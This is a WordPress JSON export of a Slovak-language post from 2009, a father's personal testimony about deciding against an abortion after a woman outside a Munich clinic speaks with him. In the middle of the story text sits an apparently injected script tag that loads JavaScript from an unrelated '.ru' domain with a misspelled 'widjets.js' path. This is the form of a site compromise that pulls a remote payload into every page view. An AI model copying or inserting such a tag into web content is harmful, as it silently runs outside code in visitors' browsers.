{"id":5720,"date":"2009-09-07T18:46:20","date_gmt":"2009-09-07T17:46:20","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=5720"},"modified":"2009-09-07T18:47:42","modified_gmt":"2009-09-07T17:47:42","slug":"%e2%80%9enase-dieta-musi-zit%e2%80%9c","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=5720","title":{"rendered":"\u201eNa\u0161e die\u0165a mus\u00ed \u017ei\u0165!\u201c"},"content":{"rendered":"<p>\u00a0<span><span>\u201eNa\u0161e die\u0165a mus\u00ed \u017ei\u0165!\u201c &#8211; <\/span><span>Osobn\u00e9 svedectvo\u00a0mlad\u00e9ho otca<\/span><\/span><\/p>\n<p align=\"justify\">Bol to pre m\u0148a \u00fapln\u00fd \u0161ok, ke\u010f mi moja priate\u013eka ozn\u00e1mila, \u017ee je tehotn\u00e1. Pr\u00e1ve som za\u010dal \u0161t\u00fadium psychol\u00f3gie a\u00a0ona bola taktie\u017e v\u00a0prvom ro\u010dn\u00edku vysokej \u0161koly. Ako sme sa teda mohli postara\u0165 o\u00a0na\u0161e die\u0165a? Nec\u00edtil som sa dos\u0165 zrel\u00fd k\u00a0tomu, aby som prevzal zodpovednos\u0165 bud\u00faceho otca. Pre m\u0148a bola cel\u00e1 vec \u00faplne jasn\u00e1: to die\u0165a mus\u00ed pre\u010d. Moja priate\u013eka bola z\u00a0toho v\u00a0rozpolo\u017een\u00ed, na jednej strane die\u0165a rozhodne nechcela, ale na druhej strane som videl, \u017ee sa na\u0148 akosi te\u0161\u00ed. Viedli sme nekone\u010dn\u00e9 diskusie a\u00a0ja som o tom hovoril so svojim najlep\u0161\u00edm priate\u013eom i\u00a0s\u00a0rodi\u010dmi. V\u0161ade som po\u010dul to ist\u00e9: Nie si e\u0161te dos\u0165 zrel\u00fd, najprv dokon\u010di \u0161t\u00fadium, potom m\u00f4\u017ee\u0161 ma\u0165 deti at\u010f. at\u010f. Obaja sme sa rozhodli pre potrat.<\/p>\n<p align=\"justify\">Posledn\u00fa noc pred pl\u00e1novan\u00fdm potratom som mal v\u00a0noci v\u00fd\u010ditky svedomia, a\u00a0tak som r\u00e1no cel\u00fd nerv\u00f3zny \u0161iel s\u00a0priate\u013ekou do Mn\u00edchova k\u00a0potratov\u00e9mu lek\u00e1rovi. D\u00fafal som, \u017ee to budeme ma\u0165 r\u00fdchlo za sebou. Moja priate\u013eka sa c\u00edtila podobne, a\u00a0tak sme celou cestou neprehovorili ani slovo, akoby sme i\u0161li na pohreb. Mali sme napon\u00e1hlo, term\u00edn bol na 11-tu hodinu a\u00a0mn\u00edchovsk\u00e9 ulice boli preplnen\u00e9. Ke\u010f sme u\u017e s\u00a0me\u0161kan\u00edm pri\u0161li ku klinike, nebolo tu miesto na parkovanie. Priate\u013eka sa rozhodla, \u017ee tam u\u017e z\u00e1jde sama, zatia\u013e \u010do ja poh\u013ead\u00e1m nejak\u00e9 parkovisko. Ke\u010f som ho kone\u010dne na\u0161iel, vydal som sa s\u00a0neist\u00fdm pocitom ku klinike. U\u017e z\u00a0dia\u013eky som videl mlad\u00fa \u017eenu, ako sa l\u00fa\u010di s\u00a0mlad\u00fdm p\u00e1rom. Mlad\u00fd p\u00e1r odi\u0161iel a\u00a0t\u00e1to pekn\u00e1 mlad\u00e1 \u017eena sa s\u00a0\u00fasmevom obr\u00e1tila ku mne. Neisto som sa usmial aj ja, nakazen\u00fd prirodzenou rados\u0165ou, ktor\u00e1 z\u00a0nej vy\u017earovala. Bol to prv\u00fd \u00fasmev, ktor\u00fd som v\u00a0ten de\u0148 za\u017eil.<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n<p align=\"justify\">M\u00e1ria (nesk\u00f4r som sa dozvedel jej meno) sa dala so mnou do re\u010di. Pon\u00fakla mi svoju pomoc a\u00a0vysvet\u013eovala mi, ako die\u0165a rastie v\u00a0matkinom lone. Uk\u00e1zala mi obr\u00e1zky a\u00a0zd\u00f4raz\u0148ovala, \u017ee sme u\u017e rodi\u010dia a\u00a0mus\u00edme si by\u0165 vedom\u00ed svojej zodpovednosti. Za\u010dal som s\u00a0\u0148ou diskutova\u0165, ale na ka\u017ed\u00fd m\u00f4j argument mala protiargument, ktor\u00fd bol formulovan\u00fd tak, \u017ee ma neprovokoval, ale musel som uzna\u0165, \u017ee je pravdiv\u00fd. Ve\u013emi l\u00e1skav\u00fdm sp\u00f4sobom ma prosila, aby som r\u00fdchlo priviedol svoju priate\u013eku dole. Bol som v\u00a0rozpolo\u017een\u00ed a\u00a0st\u00e1l som pred \u0148ou nerozhodne. M\u00e1ria videla, \u017ee prich\u00e1dzaj\u00fa \u010fal\u0161\u00ed \u013eudia, a\u00a0povedala mi r\u00fdchlo: \u201ePros\u00edm v\u00e1s, be\u017ete hore pre \u0148u, to predsa m\u00f4\u017eete spravi\u0165. Ako spr\u00e1vny mu\u017e mus\u00edte st\u00e1\u0165 za svoj\u00edm die\u0165a\u0165om. Pros\u00edm v\u00e1s, nechajte svoje die\u0165a \u017ei\u0165, ono v\u00e1m za to bude \u010fakova\u0165 ka\u017ed\u00fdm svoj\u00edm \u00fasmevom!\u201c Jej o\u010di sa zaliali slzami, potom sa oto\u010dila a\u00a0venovala sa \u010fal\u0161\u00edm \u013eu\u010fom. Prepadla ma hr\u00f4za. Ako mohla t\u00e1to mlad\u00e1 \u017eena plaka\u0165 kv\u00f4li m\u00f4jmu die\u0165a\u0165u? Rozbehol som sa a\u00a0skr\u00edkol som na \u017eenu na recepcii, kde je moja priate\u013eka. Pr\u00e1ve ju zavolali a\u00a0bola u\u017e v\u00a0ordin\u00e1cii. Vrazil som do vn\u00fatra a\u00a0moja priate\u013eka le\u017eala na l\u00f4\u017eku a\u00a0plakala. Vzal som ju do n\u00e1ru\u010dia a\u00a0vedel som, \u017ee e\u0161te nie je neskoro. Povedal som jej: \u201ePo\u010f, ideme pre\u010d, na\u0161e die\u0165a mus\u00ed \u017ei\u0165!\u201c Cel\u00e1 sa roz\u017eiarila a\u00a0nechcela mi veri\u0165, \u017ee to mysl\u00edm v\u00e1\u017ene.<\/p>\n<p align=\"justify\">Dnes m\u00e1 n\u00e1\u0161 Luk\u00e1\u0161 tri mesiace a\u00a0ja pri ka\u017edom jeho \u00fasmeve mysl\u00edm na M\u00e1riu a\u00a0na Orodovnicu, ktor\u00e1 st\u00e1la vtedy pred klinikou. Viem, \u017ee bez nich by na\u0161e die\u0165a ne\u017eilo.<\/p>\n<p align=\"justify\"><em>Das Leben 60\/2002<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0\u201eNa\u0161e die\u0165a mus\u00ed \u017ei\u0165!\u201c &#8211; Osobn\u00e9 svedectvo\u00a0mlad\u00e9ho otca Bol to pre m\u0148a \u00fapln\u00fd \u0161ok, ke\u010f mi moja priate\u013eka ozn\u00e1mila, \u017ee je tehotn\u00e1. Pr\u00e1ve som za\u010dal \u0161t\u00fadium psychol\u00f3gie a\u00a0ona bola taktie\u017e&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=5720\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-5720","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/5720","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5720"}],"version-history":[{"count":2,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/5720\/revisions"}],"predecessor-version":[{"id":5722,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/5720\/revisions\/5722"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5720"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5720"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5720"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}